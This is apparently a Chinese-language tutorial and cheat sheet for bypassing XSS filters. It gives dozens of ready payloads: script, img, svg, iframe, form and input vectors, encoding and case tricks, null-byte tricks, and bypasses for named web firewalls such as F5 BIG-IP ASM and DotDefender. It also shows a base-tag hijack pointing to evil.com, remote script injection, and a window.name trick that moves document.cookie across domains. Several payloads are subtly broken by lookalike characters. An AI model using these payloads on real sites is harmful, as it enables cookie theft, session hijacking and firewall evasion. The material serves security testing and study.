绕过流程:首先应该看页面的源码,提交的地方能否插入标签,如果不能插入标签,看是什么样的标签,比方说是个<input的标签,就去查一下<input的标签有什么可以xss的属性,然后在构造xss测试。因为无法看到后台代码,所以无法知道采用了什么样的过滤规则,真正被提交到服务器的是什么样的代码,这就需要自己测试了。
练手网站:
https://alf.nu/alert1
http://prompt.ml/0
例子
https://www.secpulse.com/archives/47696.html
如搜狐的存储型XSS,在疑似有xss store的漏洞页面中,先看源码发现,使用了input的标签,并且存到value里,这个时候就可以去查一下input的标签有没有可以xss的属性啦,例如像name这种属性就非常好,可以编码。这样就可以通过input的属性构造xss了,构造失败了在通过各种编码绕过的方法尝试,有时会也可能只是屏蔽了alert,这时候应该试试prompt
正片
参考:
http://www.freebuf.com/articles/web/20282.html
https://bbs.ichunqiu.com/thread-30896-1-6.html
1.绕过magic_quotes_gpc=ON
magic_quotes_gpc 是php用来把单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线的函数。这些转义是必须的,当magic_quotes_gpc=ON是打开。这使得<script>alert("xss")</script>变成<script>alert(\"xss\")</script> 因而不会弹出警告宽。
然而只要没有过滤<script>标签,就可以通过js函数string.fromCharCode方法把 alert("xss")进行编码
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> ,string.fromCharCode只是把ascii码转换为字符。
2.各种标签以及某些常用属性
插入标签:考虑标签以及尖括号是否被屏蔽,如果用了htnlspecialchar这样的函数,显然插入标签是不适合的
插入属性:根据实际情况考虑插入什么属性可以绕过屏蔽机制,比如屏蔽了双引号就可以在input的name中插入javascript,屏蔽了圆括号就可以在能够编码的属性中插入,一下在各个标签中,会举出可以使用的属性
1.<script>需要尖括号,双引号,"/"
属性 | 值 | 描述 |
---|---|---|
async | async | 规定异步执行脚本(仅适用于外部脚本)。 |
charset | charset | 规定在外部脚本文件中使用的字符编码。 |
defer | defer | 规定是否对脚本执行进行延迟,直到页面加载为止。 |
language | script | 不赞成使用。规定脚本语言。请使用 type 属性代替它。 |
src | URL | 规定外部脚本文件的 URL。 |
。 |
构造:
<script>alert(1)</script>
<script>prompt(1)</script>
<script src="http://xx.js"></script>
<scRiPt>alert(1);</scrIPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
2.<a 需要尖括号,双引号,"/"
属性 | 值 | 描述 |
---|---|---|
href | URL | 规定链接指向的页面的 URL。 |
构造
<a href=”javascript:alert(1)”>dianji</a> //href能够编码,如果过滤了双引号和圆括号,则可以就行编码绕过
"><a href=javascript:alert(1)> //大小写绕过
"><a Href=javascript:alert(1)>
"><a hrehreff=javascrscriptipt:alert(1)>
3.<img、需要尖括号,双引号,"/" ,通过onerror事件就行驱动
属性 | 值 | 描述 |
---|---|---|
alt | text | 规定图像的替代文本。 |
src | URL | 规定显示图像的 URL。 |
构造:
<img src=test.jpg οnerrοr=javascript:alert(1);>
<video src=test.mp4 οnerrοr=javascript:alert(‘1’);> //同理
<audio src=test.mp3 οnerrοr=javascript:alert(‘1’);>
通过一张空白的照片,再通onerror事件触发,无法编码圆括号.
4.<iframe 需要尖括号,双引号
缺少X-frame选项通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
属性 | 值 | 描述 |
---|---|---|
name | frame_name | 规定 iframe 的名称。 |
src | URL | 规定在 iframe 中显示的文档的 URL。 |
<iframe src="javascript:alert(2)">
5.<form 需要尖括号,双引号
属性 | 值 | 描述 |
---|---|---|
action | URL | 规定当提交表单时向何处发送表单数据。 |
于发送 form-data 的 HTTP 方法。 | ||
name | form_name | 规定表单的名称。 |
构造:<form action="Javascript:alert(1)"><input type=submit> // action可以编码绕过双引号,括号
6.<input
name中可以编码绕过双引号,但是不能执行javascript,在location中可以执行代码,因此把this.name交给location
构造:
<input name=javasCript:alert%281%29 autofocus οnfοcus=location=this.name >
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7 百度蠕虫
8.background
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6,samy蠕虫利用了background属性
9.location
<a οnmοuseοver=location=’javascript:alert(1)>click<body οnfοcus="location='javascrpt:alert(1) >123
10.data
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
11.code
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
12.<base标签
在base标签中主要指定了href就可以通过远程服务器是哪个伪造图片、链接或脚本,劫持当前页面中的所有使用"相对路径"的标签
如,当在其中插入了base标签以后,在把远程服务器上的恶意代码的相对路径改为与页面代码中的一致时,页面中的标签将被劫持.
<base href="http://evil.com"/>
........
<script src="x.js"></script>
........
<img src="y.jpg"/>
....
<a href="auth.do">auth</a>
3.JavaScript事件
当某些标签或者属性被过滤时,不妨使用js事件来触发xss
<svg/οnlοad=prompt(1);><marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
<video><source οnerrοr="javascript:alert(1)">
4.();:被过滤
<svg><script>alert(/1/)</script> // Works With All Browsers, "( " is ( , " )" is )
把();进行编码,这里的编码是urlcode,下面将会讲到可以编码的属性有哪些。你可以尝试将这段代码在文章中通过csdn的代码插入功能插入,urlcode将会自动被翻译。
5.编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode),如果是穿过url的,还可进行url编码绕过href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
6.基于上下文的闭合绕过
<input value="XSStest" type=text>
此时我们可以做的是把input的标签闭合,输入><imgsrc=x οnerrοr=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusοnfοcus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,例如:
“;alert(1)//
<a
href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接执行<ahref=”javascript:alert(1)//”>Click</a>7.浏览器bug
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节最长用来绕过mod_security防火墙,空字节只适用php5.3.8以上版本
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
WEB KNIGHT绕过
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
“/><marquee onfinish=confirm(123)>a</marquee>
F5 BIG IP ASM and Palo ALTO绕过
<svg/οnlοad=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
Dot Defender绕过
9.在某些能插入js代码的属性中,插入<script 标签 ,调用远程恶意代码
s=document.createElement(script) s.src="http://xxx.js"; document.body.appendChild(s)
这样就可以在内部引入一个script标签
10.绕过长度限制
这里只说一个window.name,当遇到实际情况是在查。window.name可以实现跨域的传输,意味着我们可以构造一个超级短的payload,通过给window.name赋值,然后在让window.name来传输这个值。
例如下面两端代码分别为 www.a.com/test.html www.b.com/test.html
会发现在各自的网页都输出了网页的自己的domain,但是window.name输出的确实test,这意味着window.name的值确实实现了跨域传输。
<body>
<script>
window.name=test;
alert(document.domain+" "+window.name);
window.location="http://www.b.com/test.html;
</script>
</body>
<body>
<script>
alert("document.domain+" "+window.name);
</script>
</body>
使用例子,通过在存在xss网页中调用如下代码,就可以通过window.name把cookie传给指定网站的windw.name
<script>
window.name="alert(document.cookie)";
location.href="http://mypage.com/xssed.php;
</script>
在xss站点中执行以下代码,就可以调用以上的代码了,长度只有11字节。
eval(name);
11.总结
xss的构造方式多种多样,只需要对技术的方向有大致了解即可,例如知道可编码绕过。在遇到实际问题时,结合实际问题中遇到的标签,在去详细了解该标签的可操控范围,然后去了解该网页使用的服务器,防火墙等。这样就能在大方向上了解大致的过滤机制是什么,才能构造出合适的xss,当然面前来说构造一个xss还是有一定的难度,一般的反射型xss危害已经没有那么大了,在加上浏览器对xss也有一定的防护功能,所有xss的危害已经不像以前那么大。但是存储型的XSS还是要给予重视的。